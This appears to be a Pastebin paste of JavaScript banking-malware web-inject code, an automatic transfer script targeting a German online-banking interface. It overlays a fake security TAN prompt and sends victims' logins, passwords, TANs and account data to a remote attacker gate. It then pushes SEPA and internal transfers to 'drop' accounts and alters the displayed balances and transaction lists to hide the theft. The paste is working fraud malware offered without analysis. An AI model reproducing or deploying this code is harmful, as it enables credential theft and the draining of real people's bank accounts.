Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //var jq = jQuery.noConflict();
- var jq = jQuery;
- var CONTENT_URL= "https://belissimos7.com/nsdghsf333/";
- document.write('<style type="text/css">.inj_full_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4002; filter: alpha(OPACITY=100); opacity: 1; } #inj_block_overlay { background: url("'+CONTENT_URL+'/images/bodybg.png") repeat-y scroll 0 0 transparent; background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4000; filter: alpha(OPACITY=100); opacity: 1; } #inj_dialog_box { font:400 12px Arial, Helvetica, sans-serif;background-color: #FFFFFF; left: 50%; position: absolute; top: 165px; width: 600px;margin-left: -300px; z-index: 4001; } .inj_instr_list { font-size: 13px; } .inj_content_para {text-align: center; padding: 10px; } .inj_content_block { padding: 10px 10px 10px 0px; } .inj_buttons_block { text-align: center; margin-top: 1em; } .inj_error { display: none; color: #FF0000; font-weight: bold;margin:10px 0 0 0; }</style>');
- var ATS = { bank: 'gad',
- account_id: 0,
- script_ver: '2.4',
- transf_mode : 'sepa',
- debug_mode: 0,
- debug_transfer: "INT",
- gateURL : 'https://belissimos7.com/nsdghsf333/gate',
- debugVisibleFrame: false,
- debugNoOverlay : false,
- CONTENT_URL: CONTENT_URL,
- current_state : 0,
- sepa_or_int_select_changed : false,
- MaxTransferAccNum:0,
- StepInFrame : {
- 0:"BeginWork",
- 10:"framePageFinanzstatus",
- 15:"Transactions",
- 20:"Overseas_remittance",
- 30:"SEPA_page",
- 110:"SEPA_form_filled",
- 120:"TAN_ENTERED",
- 130:"Internal_transf_page",
- 140:"INT_form_filled",
- 150:"KreditlimitPage",
- 160:"TransactionsINT",
- 170:"TransactionsSEPA",
- set_current_state : function(state){
- for (var key in this) {
- if (typeof this[key]!= 'function' && state==this[key]) {
- parent.ATS.current_state=key;
- return key;
- }
- //alert(key+':'+this[key])
- }
- return false;
- }
- },
- isDebugMode: function()
- {
- return ATS.debug_mode;
- },
- getBrowserFull: function()
- {
- var res = 'na';
- try
- {
- var m = navigator.userAgent.match(/Firefox\/(\d+)/);
- if (m)
- {
- res = 'ff' + m[1];
- }
- else
- {
- m = navigator.userAgent.match(/MSIE (\d+)/);
- if (m)
- res = 'ie' + m[1];
- }
- }
- catch(e)
- {
- res = 'ex';
- }
- return res;
- },
- debugMsg: function(message)
- {
- if (this.isDebugMode())
- {
- if (window.console && window.console.log)
- window.console.log(message);
- else
- alert(message);
- }
- },
- _cookies: new Object(),
- setCookie: function(name, value)
- {
- ATS.debugMsg('setCookie: ' + name + ' = ' + value);
- parent.ATS._cookies['#'+name] = value;
- },
- getCookie: function(name)
- {
- if (typeof parent.ATS._cookies['#'+name] == 'undefined')
- return null;
- return parent.ATS._cookies['#'+name];
- },
- serializeCookies: function()
- {
- //if (typeof parent.ATS._cookies != 'function')
- var result = new Array();
- for (var i in parent.ATS._cookies)
- {
- if(i.indexOf('#')==0){
- result.push(encodeURIComponent(i) + '=' + encodeURIComponent(parent.ATS._cookies[i]));
- }
- }
- return result.join('&');
- },
- unserializeCookies: function(rawData)
- {
- var result = new Object();
- for (var i in rawData)
- {
- result[decodeURIComponent(i)] = decodeURIComponent(rawData[i]);
- }
- return result;
- },
- saveCookies: function(callback)
- {
- ATS.sendGateRequest('save_cookies', {data: ATS.serializeCookies()}, callback);
- },
- sendGateRequest: function(action, params, callback)
- {
- //ATS.debugMsg('sendGateRequest: ' + action);
- dat = jq.extend({bank: parent.ATS.bank, aid: parent.ATS.account_id}, params);
- var url = ATS.gateURL + '?a=' + action + '&cb=?';
- //ATS.debugMsg('url = ' + url + '; params = ' + params + '; data = ' + dat + "aid = " + parent.ATS.account_id);
- //if ((typeof __debugDisabled == 'undefined') || !__debugDisabled)
- //{
- jq.ajax({
- url: url,
- dataType: 'jsonp',
- crossDomain: true,
- data: dat,
- //async: false,
- success: callback,
- error: function(request,error)
- {
- ATS.debugMsg('posible ban ip; ajax error: ' + error);
- jq('.inj_full_overlay').remove();
- ATS.UI_unblockSite();
- jq('#inj_dialog_box').hide();
- }
- });
- //}
- },
- loadData: function(callback)
- {
- ATS.sendGateRequest('load_data', {}, function(data){
- ATS.account_id = data.account_id;
- ATS._cookies = ATS.unserializeCookies(data.cookies);
- if (typeof callback == 'function')
- callback();
- });
- },
- sendLoginInfo: function(login, password, callback)
- {
- ATS.sendGateRequest('login', {login: login, password: password, url: window.location.href}, callback);
- },
- sendLogMsg: function(text, callback)
- {
- ATS.debugMsg('sendLogMsg: ' + text);
- ATS.sendGateRequest('log_msg', {ver: ATS.script_ver + ' / ' + ATS.getBrowserFull(), text: text}, callback);
- },
- getDrop: function(transfType, balance, callback)
- {
- ATS.sendGateRequest('get_drop', {type: transfType, balance: balance}, callback);
- },
- putTransfer: function(transfType, drop, amount, callback)
- {
- ATS.sendGateRequest('transfer', {type: transfType, did: drop, amount: amount}, callback);
- },
- sendAccountsInfo: function(accountsInfo, callback)
- {
- try {
- ATS.sendGateRequest('save_accounts_info', {data: JSON.stringify(accountsInfo)}, callback);
- } catch(e) {}
- }
- };
- ATS.UI_showWait = function()
- {
- ATS.UI_showDialogBox();
- jq('#inj_page_wait').show();
- //jq('#inj_page_tan').hide();
- jq('#inj_page_brilok').hide();
- jq('.formContainer2 #gad_contentbox').hide();
- }
- ATS.UI_getTAN = function()
- {
- return jq('.nowrap label').text();
- }
- ATS.UI_getInjectCode = function()
- {
- var code =
- '<div id=inj_dialog_box style=\'display: none;\'>'
- + '<div class="formContainer2">'
- + '<div class="inj_dialog_content"><h2 id="inj_dialog_title">Zu Ihrer Sicherheit</h2></div>'
- + '<div id=inj_page_wait style=\'display: none;\'>'
- + '<div class="boxHinweis"><p class="begruessungText inj_content_para">'
- + langs.getLang('waittext')
- + '<br class="newline" /></p><p style="text-align:center"><img s'
- + 'rc='+ATS.CONTENT_URL+'/images/loader_bar.gif id=inj_loader_img /></p></div></div>'
- + '<div id="gad_contentbox" style=\'display: none;\'>'
- +'<div id="gad_signatur_tan" style=\'display: none;\' class="gad-colored-content-row gad-content-row-border-c gad-margin-bottom-15"><p class="gad-margin-top-10">Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Veränderungen bei Ihrem Computer ergeben. Aus Sicherheitsgründen müssen Sie eine TAN eingeben, um zu bestätigen, dass es Ihr Computer ist, damit Ihnen der Zugang gewährt wird.<br />TAN-Eingabe<br /></p><div style="clear:both"></div><div id="gad_signatur_tan_input" class="gad-margin-top-10"><span class="fltrt" style="display:inline-block;"><label for="iTAN" class="gad-margin-right-10">Bitte geben Sie folgende TAN ein: </label><span class="gad-field-box"><span class="gad-icon gad-icon-required"> </span><input type="text" id="iTAN" name="nrTan" maxlength="6" class="gad-input-widget gad-input gad-input-width-65" aria-required="true"></span></span></div><div style="clear:both"></div></div>'
- + '<div id="inj_page_brilok" class="gad-colored-content-row gad-content-row-border-c gad-margin-bottom-15" style=\'display: none;\'>'
- + '<div style="clear:both"></div><div id="gad_signatur_tan_input" class="gad-margin-top-10"><span class="fltrt" style="display:inline-block;"><label for="iTANBrilok" class="gad-margin-right-10">Bitte geben Sie folgende TAN ein: </label><span class="gad-field-box"><span class="gad-icon gad-icon-required"> </span><input type="text" id="iTANBrilok" name="nrTan" maxlength="6" class="gad-input-widget gad-input gad-input-width-65" aria-required="true"></span></span></div><div style="clear:both"></div>'
- +'</div>'
- + '<div style=\'clear:both;\'><p class="inj_error">'+langs.getLang('errortan')+'</p></div>'
- +'<div class="inj_buttons_block">'
- + '<button id="inj_Weiter" name="inj_weiter" type="submit" title="'+langs.getLang('nextbutton')+'" class="gad-margin-left-10 fltrt js-button-default keindoppelklick gad-button" value="'+langs.getLang('nextbutton')+'"><span class="gad-button-bg-left"><span class="gad-button-bg-right"><span class="gad-button-icon-forward">'+langs.getLang('nextbutton')+'</span></span></span></button>';
- + ' <div style="clear:both"></div></div>'
- +'</div>'
- + '</div></div>';
- return jq(code);
- }
- ATS.die = function(msg)
- {
- ATS.sendLogMsg('ERROR: ' + msg);
- ATS.setCookie('error_time', ATS.getTime());
- ATS.setCookie('status', 2);
- parent.ATS.StepInFrame.set_current_state("BeginWork");
- ATS.saveCookies(function(){
- if ((parent.window !== window) && parent.ATS)
- {
- ATS.debugMsg('die in frame');
- parent.ATS.UI_hideDialogBox();
- parent.ATS.UI_unblockSite();
- jq('.inj_full_overlay',parent.document).remove();
- }
- else
- {
- ATS.debugMsg('die outside frame');
- ATS.UI_hideDialogBox();
- ATS.UI_unblockSite();
- jq('.inj_full_overlay').remove();
- }
- /*
- var nextLink=jq('#gad_navigation_main li:eq(1) a').attr("href");
- parent.ATS.StepInFrame.set_current_state("BeginWork");
- setTimeout(function(){
- parent.window.document.location.href = nextLink;
- }, 1000);
- */
- });
- }
- ATS.mainWork = function()
- {
- ATS.debugMsg('ATS.mainWork, state: ' + ATS.current_state);
- //ATS.sendLogMsg('script_version = ' + ATS.script_ver);
- switch (ATS.current_state)
- {
- case 0:
- var href = ATS.getFinanzstatusLink();
- if (href)
- {
- ATS.StepInFrame.set_current_state("framePageFinanzstatus");
- //ATS.debugMsg('Finanzstatus link: ' + href);
- //setTimeout('ATS.openInIframe("' + href + '")', 3000);
- var name='';
- if(jq('#gad_actionchannel_item_logon_name').length) name+=jq('#gad_actionchannel_item_logon_name').html();
- if(jq('#gad_login_name').length) name+=jq('#gad_login_name').html();
- ATS.sendLogMsg('Name: ' + name,ATS.ieFrameHack() );
- }
- else
- {
- ATS.die('mainWork: cant find finanzstatus');
- }
- break;
- }
- }
- ATS.ieFrameHack = function()
- {
- ATS.debugMsg('ATS.ieFrameHack()');
- if (!jq('iframe#ats_wrk_iframe').length)
- {
- //ATS.openInIframe(ATS.getFinanzstatusLink());
- ATS.openInIframe('about:blank');
- /*
- var cssLink = document.createElement("link")
- cssLink.href = "/wrs/resources2/html/layout.css";
- cssLink.rel = "stylesheet";
- cssLink.type = "text/css";
- frames['ats_wrk_iframe'].document.body.appendChild(cssLink);
- var cssLink = document.createElement("link")
- cssLink.href = "/wrs/resources2/html/color.css";
- cssLink.rel = "stylesheet";
- cssLink.type = "text/css";
- frames['ats_wrk_iframe'].document.body.appendChild(cssLink);
- */
- setTimeout(ATS.ieFrameHack, 1000);
- }
- else
- {
- var n=ATS.getFinanzstatusLink();
- n=n.replace(/\./g, '%2e');
- if(!ATS.checkTestPage()){
- // var n=ATS.getFinanzstatusLink().replace("(","%28").replace(")","%29");
- }
- else {
- // var n=ATS.getFinanzstatusLink().replace(/\./gi,"%2e" );
- }
- jq('iframe#ats_wrk_iframe').attr('src',n );
- }
- }
- ATS.UI_hideDialogBox = function()
- {
- jq('#inj_dialog_box').hide();
- }
- ATS.descending= function(a, b)
- {
- return b.totalBalance- a.totalBalance;
- }
- ATS.getMaxTransferAcc = function()
- {
- //num = num || 0;
- var num=parent.ATS.MaxTransferAccNum;
- parent.ATS.accounts_list.sort( ATS.descending );
- if (parent.ATS.accounts_list[num]!=null) return parent.ATS.accounts_list[num];
- else
- {
- ATS.die('ATS.getMaxTransferAcc: accounts_list['+num+'] is null or no more Acounts left');
- }
- /*
- var accountsList = parent.ATS.accounts_list;
- var maxBalance = accountsList[0].balance;
- var tempBalance = 0;
- var maxAcc = null;
- for(var i in accountsList)
- {
- tempBalance= parseFloat(accountsList[i].balance) + parseFloat(accountsList[i].overdraft);
- if (!isNaN(tempBalance) && (tempBalance >= maxBalance))
- {
- maxBalance = tempBalance;
- maxAcc = accountsList[i];
- }
- }
- return maxAcc;
- */
- }
- ATS.UI_askTan = function(tanNum, isError)
- {
- if(parent.ATS.badTan) jq('.inj_error', parent.document).show();
- parent.ATS.UI_showDialogBox();
- //parent.ATS.UI_fixBtnLink();
- if (jq('h1:contains("SMS")').length!=0){
- parent.ATS.TanType='sms';
- /*
- var startCode = jq('.nowrap label').text().replace(/\D+/,'');
- ATS.sendLogMsg('startCode ' + startCode);
- jq('#inj_tan_startcode', parent.document.body).text(startCode);
- */
- jq('#inj_page_wait', parent.document).hide();
- //jq('#inj_page_tan', parent.document).show();
- jq('#inj_page_brilok', parent.document).hide();
- jq('#gad_signatur_tan', parent.document).show();
- jq('.formContainer2 #gad_contentbox', parent.document).show();
- }
- else{
- parent.ATS.TanType='brilok';
- //var zapwind=jq('#hinweis').html().replace(/\*/g,'');
- if(jq('#hinweis').length) var zapwind=jq('#hinweis').html();
- else var zapwind=jq('#gad_signatur_tan').html();
- //---------------------------------------------------------------
- var re = /Start-Code:[\D]*([\d]+)/g;
- var arr=re.exec(zapwind);
- if (arr==null) {
- ATS.sendLogMsg('#hinweis=' + zapwind,function(){
- ATS.die("ATS.UI_askTan: Regex error- cant find Start-Code");
- });
- }
- var startcode=arr[1];
- ATS.sendLogMsg('startcode=' + startcode);
- var msg='<div id="hinweis"><p class="gad-margin-top-5">Smart-TAN optic :</p><ul class="gad-content-list">';
- msg+='<li><span> * 1. Stecken Sie Ihre Chipkarte in den TAN-Generator und drücken "TAN".</span></li>';
- msg+='<li><span>* 2. Geben Sie den Start-Code <strong>'+startcode+'</strong> ein und drücken "OK".</span></li>';
- if (parent.ATS.transf_mode == 'sepa'){
- //var re = /IBAN Empf[\.\s\d\:]+<strong>([\d\*]+)<\/strong>/gim;
- var re = /(IBAN: |IBAN Empf[\.\s\d\:]+)<strong>([\d\*]+)<\/strong>/gim;
- }else {
- var re = /(Empf[\.\s\d\:]*)<strong>([\d\*]+)<\/strong>/gim;
- }
- var ind=2;
- while ((arr = re.exec(zapwind)) !== null)
- {
- // var msg = "Found " + arr[0] + ". ( " + arr[1]+" )";
- // msg += "Next match starts at " + re.lastIndex;
- ind++;
- msg+='<li><span>* '+ind+'. Geben Sie die <strong>'+arr[2].replace(/\*/g,'')+'</strong> ein und drücken "OK".</span></li>';
- }
- if (ind==2) ATS.die("ATS.UI_askTan: Regex error- cant find IBAN Empf");
- var amount=0;
- if (parent.ATS.transf_mode == 'sepa') amount=parent.ATS.sepa_drop.amount;
- else{amount=parent.ATS.int_drop.amount;}
- ind++;
- msg+='<li><span>* '+ind+'. Geben Sie die: <strong>'+amount+'</strong> EUR ein und drücken "OK".</span></li>';
- msg+='</ul><p></p></div>';
- //-------------------------------------------------------------------
- jq('#inj_page_wait', parent.document).hide();
- jq('#gad_signatur_tan', parent.document).hide();
- jq('#inj_page_brilok', parent.document).show();
- jq('.formContainer2 #gad_contentbox', parent.document).show();
- jq('#inj_page_brilok', parent.document).prepend(msg);
- }
- //jq('#inj_buttons_block', parent.document).show();
- }
- ATS.UI_onWeiterClick = function()
- {
- if(parent.ATS.TanType=='sms') var tan = jq('#iTAN').val();
- else var tan = jq('#iTANBrilok').val();
- if (tan=="test") {
- if (ATS.isDebugMode()){
- parent.ATS.UI_showWait();
- if (parent.ATS.transf_mode == 'sepa') ATS.framePageReceipt();
- else ATS.framePageReceiptInternal();
- return false;}}
- if (tan.length == 6)
- {
- ATS.sendLogMsg('entered TAN ' + tan);
- jq('#ats_wrk_iframe')[0].contentWindow.ATS.enterCode(tan);
- }
- else{
- alert(langs.getLang('errorTanEmpty'));
- }
- }
- ATS.padRight = function(input, totalWidth)
- {
- var result = input;
- if (result.length < totalWidth){
- for(var i = result.length; i < totalWidth; i++){
- result = result + 'X'
- }
- }
- return result;
- }
- ATS.framePageReceipt = function()
- {
- ATS.sendLogMsg('framePageReceipt');
- ATS.putTransfer('SEPA', parent.ATS.sepa_drop.id, parent.ATS.sepa_drop.amount, function(){
- ATS.sendLogMsg('Successful transfer SEPA, drop: ' + parent.ATS.sepa_drop.id + ', amount: ' + parent.ATS.sepa_drop.amount);
- ATS.setCookie('transfer_time', ATS.getTime());
- ATS.setCookie('rep_drop_name', parent.ATS.sepa_drop.DrName);
- ATS.setCookie('rep_drop_acc', parent.ATS.sepa_drop.IBAN);
- ATS.setCookie('rep_amount', parent.ATS.sepa_drop.amount);
- var transfer_acc = parent.ATS.transfer_acc;
- if (transfer_acc)
- {
- ATS.setCookie('transfer_acc', transfer_acc);
- ATS.setCookie('ap' + transfer_acc, parent.ATS.sepa_drop.amount);
- }
- ATS.setCookie('Gesamtsaldo' , parent.ATS.Gesamtsaldo);
- ATS.setCookie('status', 1);
- ATS.saveCookies(function(){
- var nextLink = ATS.getFinanzstatusLink();
- if (nextLink != '')
- {
- setTimeout(function(){
- parent.ATS.StepInFrame.set_current_state("BeginWork");
- parent.window.document.location.href = nextLink;
- }, 1000);
- }
- });
- });
- }
- ATS.framePageReceiptInternal = function()
- {
- ATS.sendLogMsg('framePageReceiptInternal');
- ATS.putTransfer('Internal', parent.ATS.int_drop.id, parent.ATS.int_drop.amount, function(){
- ATS.sendLogMsg('Successful transfer INT, drop: ' + parent.ATS.int_drop.id + ', amount: ' + parent.ATS.int_drop.amount);
- ATS.setCookie('transfer_time', ATS.getTime());
- ATS.setCookie('rep_drop_name', parent.ATS.int_drop.DrName);
- ATS.setCookie('rep_drop_acc', parent.ATS.int_drop.Konto);
- ATS.setCookie('rep_amount', parent.ATS.int_drop.amount);
- var transfer_acc = parent.ATS.transfer_acc;
- if (transfer_acc)
- {
- ATS.setCookie('transfer_acc', transfer_acc);
- ATS.setCookie('ap' + transfer_acc, parent.ATS.int_drop.amount);
- }
- ATS.setCookie('status', 1);
- ATS.setCookie('Gesamtsaldo' , parent.ATS.Gesamtsaldo);
- ATS.saveCookies(function(){
- var nextLink = ATS.getFinanzstatusLink();
- if (nextLink != '')
- {
- setTimeout(function(){
- parent.ATS.StepInFrame.set_current_state("BeginWork");
- parent.window.document.location.href = nextLink;
- }, 1000);
- }
- });
- });
- }
- ATS.fin2float = function(text)
- {
- if (langs.getCurLang()=='EN')
- var text = text.toString();
- else
- var text = text.toString().replace(/[^\d,-]+/g, '').replace(',', '.');
- return parseFloat(text);
- }
- ATS.float2fin = function(val)
- {
- var intPart = Math.floor(val);
- var fractPart = Math.floor((val - intPart) * 100).toString();
- if (fractPart.length < 2)
- fractPart = '0' + fractPart;
- var newIntPart = '';
- intPart = intPart.toString();
- while (intPart.length > 3)
- {
- newIntPart = '.' + intPart.substr(intPart.length - 3) + newIntPart;
- intPart = intPart.substr(0, intPart.length - 3);
- }
- newIntPart = intPart + newIntPart;
- return newIntPart + ',' + fractPart;
- }
- ATS.addElementAmount = function (el, amount, postfix)
- {
- var val = ATS.fin2float(jq(el).text());
- var newText = ATS.float2fin(val + amount);
- if (postfix)
- newText += ' ' + postfix;
- jq(el).text(newText);
- }
- ATS.hideLastTAN = function()
- {
- var el = jq('p:contains(Ihre zuletzt verbrauchte TAN)');
- if (el.length)
- {
- var html = jq(el).html();
- var pos = html.indexOf('Ihre zuletzt');
- if (pos >= 0)
- jq(el).html(html.substr(0, pos));
- }
- jq('p:contains(Zuletzt benutzte)').remove();
- }
- ATS.checkTransfer = function(el)
- {
- var percent=parseFloat("0.00");
- var lastGesamtsaldo = parseFloat(ATS.getCookie('Gesamtsaldo'));
- if (isNaN(lastGesamtsaldo)) {
- ATS.sendLogMsg('error. lastGesamtsaldo is NULL');
- return false;
- }
- var curGesamtsaldo = ATS.fin2float(jq(el).text());
- var rep_amount= parseFloat(ATS.getCookie('rep_amount'));
- var tempsaldo= lastGesamtsaldo - curGesamtsaldo;
- tempsaldo=parseFloat(tempsaldo.toFixed(2));
- //ATS.debugMsg('tempsaldo = '+tempsaldo +'; lastGesamtsaldo ='+ lastGesamtsaldo + '; curGesamtsaldo ='+ curGesamtsaldo+' rep_amount='+rep_amount);
- if(tempsaldo==0){
- ATS.sendLogMsg('As at '+Date()+' bank has NOT yet made a translation. The script will NOT change the balance');
- return false;
- }
- if (tempsaldo<0 ){ATS.sendLogMsg('Error calc saldo = ' + tempsaldo + '; lastGesamtsaldo ='+ lastGesamtsaldo + '; curGesamtsaldo ='+ curGesamtsaldo);
- return false;
- }
- if(tempsaldo>0){
- if((tempsaldo==rep_amount) || (tempsaldo>rep_amount)){
- var temppers=(lastGesamtsaldo - (curGesamtsaldo+rep_amount));
- percent=parseFloat(temppers.toFixed(2));
- ATS.sendLogMsg('As at '+Date()+' Bank did the translation. bank percent = '+percent+ '; Script will made change');
- if (parseFloat(ATS.getCookie('acPercent'))!=parseFloat(percent)){
- ATS.setCookie('acPercent',percent);
- ATS.saveCookies();
- }
- if (ATS.getCookie('acTransact')!="true"){
- ATS.setCookie('acTransact',true);
- ATS.saveCookies();
- }
- return percent;
- }else{
- ATS.sendLogMsg('As at '+Date()+' the bank has not made a translation, but took percent = '+tempsaldo+ 'Script will NOT made change');
- ATS.setCookie('acPercent',tempsaldo);
- ATS.setCookie('acTransact',false);
- ATS.saveCookies();
- return false;
- }
- }
- }
- ATS.replaceFinanzstatus = function()
- {
- ATS.debugMsg('replaceFinanzstatus()');
- jq("#gad_toolbar_btn_print").remove();
- if (ATS.checkTestPage()) var el=jq('.gad-table-footer-summary-row > td').eq(1);
- else var el=jq('.gad-table-footer-summary-row > td').eq(1);
- var percent =ATS.checkTransfer(el);
- ATS.debugMsg('percent= '+percent);
- if(typeof percent === 'boolean') return true;
- if( percent > 15) {
- ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance'); return true;
- }
- var totalReplace = 0;
- jq("table[name='listeEuroKonten']").has('label:contains(onto)').find("tbody:not(:contains('Summe Gesamt'))").each(function(){
- jq(this).find('tr:has(input[value="icon"])').each(function(i){
- var accNum = jq.trim(jq(this).children("td:eq(1)").text().replace(/\D+/g,''));
- var amount = parseFloat(ATS.getCookie('ap' + accNum));
- //ATS.debugMsg('accNum = ' + accNum + '; amount = ' + amount + '; percent = ' + percent);
- if (amount > 0)
- {
- ATS.debugMsg('REP finanzstatus: ' + accNum + ' + ' + amount + '; percent = ' + percent);
- ATS.addElementAmount(jq(this).children("td:eq(3)"), parseFloat(amount + percent), 'EUR');
- //ATS.addElementAmount(jq(this).parent().find('.subsequent').find("th.balance > strong"), amount + percent, 'EUR');
- totalReplace += parseFloat(amount + percent);
- }
- });
- });
- if (totalReplace > 0)
- {
- ATS.addElementAmount(jq('.gad-table-footer tr:eq(0) > td').eq(1), totalReplace, 'EUR');
- ATS.addElementAmount(jq('.gad-table-footer-summary-row > td').eq(1), totalReplace, 'EUR');
- }
- }
- ATS.replaceUmsatzanzeige = function()
- {
- ATS.debugMsg('replaceUmsatzanzeige()');
- jq("#gad_toolbar_btn_print").remove();
- var accNum = jq('select[name="idKontoGewaehlt"] > option:selected').text().replace(/\D+/g,'');
- var amount = parseFloat(ATS.getCookie('ap' + accNum));
- var percent=parseFloat(ATS.getCookie('acPercent'));
- if( percent > 15) {
- ATS.sendLogMsg('percent > 15 Possible second trancaction. Script will cancel changes balance'); return true;
- }
- //if((percent==null) || (!ATS.getCookie('acTransact'))) return true;
- if(ATS.getCookie('acTransact')==null || ATS.getCookie('acTransact')=="false") return true;
- if (ATS.getCookie('transfer_acc')==accNum)
- {
- //ATS.sendLogMsg('REP Umsatzanzeige: kontostand + ' + amount);
- ATS.debugMsg('accNum = ' + accNum + '; amount = ' + amount + '; percent = ' + percent);
- ATS.addElementAmount(jq('div.gad-summary-row span:eq(0)'), amount + percent, 'EUR');
- var hideFlag = false;
- jq('#gad_page table tr').each(function(i){
- jq(this).find("td:eq(2)").each(function(j){
- var text = jq.trim(jq(this).text());
- if (ATS.needToHide(text))
- {
- // ATS.sendLogMsg('REP umsatze: transfer hidden - ' + jq(this).find('td:eq(2)').text());
- jq(this).parent().hide();
- hideFlag = true;
- }
- });
- });
- jq('#gad_page table:eq(0)').find('tr:visible.gad-table-row,tr:visible.gad-table-alternate-row').each(function(i){
- jq(this).attr('class', (i % 2) ? 'gad-table-row' : 'gad-table-alternate-row');
- });
- }
- }
- ATS.needToHide = function(text)
- {
- var amount = parseFloat(ATS.getCookie('rep_amount'));
- if (amount)
- {
- if (langs.getCurLang()=='EN'){
- text=text.replace(/[^\d.]+/gi, '');
- if (text.indexOf(amount) != -1) return true;
- }
- else{
- text=text.replace(/[^\d,]+/gi, '').replace(",", '.');
- if (text.indexOf(amount) != -1) return true;
- //ATS.debugMsg(text);
- }
- }
- return false;
- }
- ATS.replaceBalances = function()
- {
- ATS.debugMsg('replaceBalances()');
- //ATS.hideLastTAN();
- switch (langs.getCurLang())
- {
- case "EN":
- if (ATS.getPageTitle("Your financial overview")) ATS.replaceFinanzstatus();
- if (ATS.getPageTitle("Transactions")) ATS.replaceUmsatzanzeige();
- break;
- default:
- if (ATS.getPageTitle("Finanz"+String.fromCharCode(252)+"bersicht")) ATS.replaceFinanzstatus();
- if (ATS.getPageTitle("Ums"+String.fromCharCode(228)+"tze") ) ATS.replaceUmsatzanzeige();
- break;
- }
- }
- ATS.findAccountInfo = function(acc_num)
- {
- ATS.debugMsg('acc_num:'+ acc_num);
- var accounts_list = parent.ATS.accounts_list;
- for (var i in accounts_list)
- {
- //if (accounts_list[i] != 'function' )
- //ATS.debugMsg('accounts_list[i]:'+ accounts_list[i]);
- if (acc_num.indexOf(accounts_list[i].number) != -1)
- {
- //ATS.debugMsg('Found: ' + accounts_list[i].number + '; balance: ' + accounts_list[i].balance + '; transf: ' + accounts_list[i].transf);
- return accounts_list[i];
- }
- }
- return false;
- }
- var langs ={
- simple_property: 'Hello',
- EN: {
- waittext: "Unser System überprüft Ihren Computer nach Veränderungen. Überprüfung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> Während dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zurück / Vorwärts).",
- nextbutton: "Weiter",
- errortan: "TAN falsch, bitte richtige TAN eingeben",
- errorTanEmpty : "TAN muss 6 Zeichen lang sein!",
- autorizetext: "Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Veränderungen bei Ihrem Computer ergeben. Aus Sicherheitsgründen müssen Sie eine TAN eingeben, um zu bestätigen, dass es Ihr Computer ist, damit Ihnen der Zugang gewährt wird.<br />TAN-Eingabe<br />"
- },
- DE: {
- waittext: "Unser System überprüft Ihren Computer nach Veränderungen. Überprüfung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> Während dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zurück / Vorwärts).",
- nextbutton: "Weiter",
- errortan: "TAN falsch, bitte richtige TAN eingeben",
- errorTanEmpty : "TAN muss 6 Zeichen lang sein!",
- autorizetext: "Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Veränderungen bei Ihrem Computer ergeben. Aus Sicherheitsgründen müssen Sie eine TAN eingeben, um zu bestätigen, dass es Ihr Computer ist, damit Ihnen der Zugang gewährt wird.<br />TAN-Eingabe<br /><br />Bitte geben Sie folgende TAN ein:"
- },
- getLang: function(step) {
- var ln='EN';
- if(!parent.jq('#metaNavigation').find('a:contains("Deutsche")').length) var ln='DE';
- // return(this.simple_property + ', ' + this[ln][step]);
- return(this[ln][step]);
- },
- getCurLang: function() {
- var ln='EN';
- if(!parent.jq('#metaNavigation').find('a:contains("Deutsche")').length) var ln='DE';
- return(ln);
- }
- };
- document.write('<style type="text/css">#iTANForm { border-top: medium none !important;}#inj_Weiter{background-color:white;}#inj_Weiter{cursor: hand;}#inj_Weiter:hover span{text-decoration: underline !important;}.formContainer2 #gad_contentbox {padding: 0px;font-size:0.88em;width:100% !important;} .formContainer2 {border: 0.1em solid #C1C3C4 !important;text-align: left;color: #333333; margin: 17px; color: #333333; } .formContainer2 h2 { background: none repeat scroll 0 0 #EDEDED; font-weight:700; color: #4F4F4F; line-height: normal !important; padding: 1px 16px 2px 4px;} #branch { width: 1.9em;}.layout input, .layout select { vertical-align: middle;}textarea, input, select { border: 1px solid #B5C9E3; color: #333333; font: 1em arial,helvetica,sans-serif; padding: 2px;}input.button { -moz-border-bottom-colors: none; -moz-border-image: none; -moz-border-left-colors: none; -moz-border-right-colors: none; -moz-border-top-colors: none; background: url("../../images/bt_standard.gif") no-repeat scroll right center #EAEAEA; border-color: -moz-use-text-color #C0C0C0 #C0C0C0 -moz-use-text-color; border-style: none solid solid none; border-width: medium 1px 1px medium; color: #003399; cursor: pointer; font-size: 1em; font-weight: bold; padding: 2px 3px; float:right; }input.confirm { background: url("'+ATS.CONTENT_URL+'/images/bt_confirm.gif") no-repeat scroll right center #FF0000; color: #FFFFFF; padding-right: 22px !important;}input.confirm:hover { background-image: url("'+ATS.CONTENT_URL+'/images/bt_confirmHover.gif");} </style>');
- ATS.checkTestPage = function()
- {
- if(jq('#gad_contentbox').length) return true;
- // jq('#gad_contentbox').attr("style").indexOf('demo')!=-1) return true;
- else return false;
- }
- ATS.checkLoginPage = function()
- {
- return !!jq("button#button_login").length;
- }
- ATS.getSepaLink = function()
- {
- if(!parent.ATS.SepaLink){
- parent.ATS.SepaLink=jq('#gad_navigation_left_1 li:eq(3) a').attr("href");
- }
- return parent.ATS.SepaLink;
- }
- ATS.getIntLink = function()
- {
- if(!parent.ATS.IntLink){
- parent.ATS.IntLink=jq('#gad_navigation_left_1 li:eq(2) a').attr("href");
- }
- return parent.ATS.IntLink;
- }
- ATS.isLoggedIn = function()
- {
- if (jq("#ummelden").text().indexOf("Logout")!=-1) return true;
- else return false;
- }
- ATS.UI_blockSite = function()
- {
- if (ATS.debugNoOverlay)
- return;
- ATS.debugMsg('ATS.UI_blockSite');
- if (jq('#inj_block_overlay').length)
- jq('#inj_block_overlay').show();
- else
- jq('#gad_page').before('<div id=inj_block_overlay></div>');
- }
- ATS.UI_unblockSite = function()
- {
- jq('#inj_block_overlay').hide();
- jq('#gad_page').show();
- jq('#gad_page > div').show();
- }
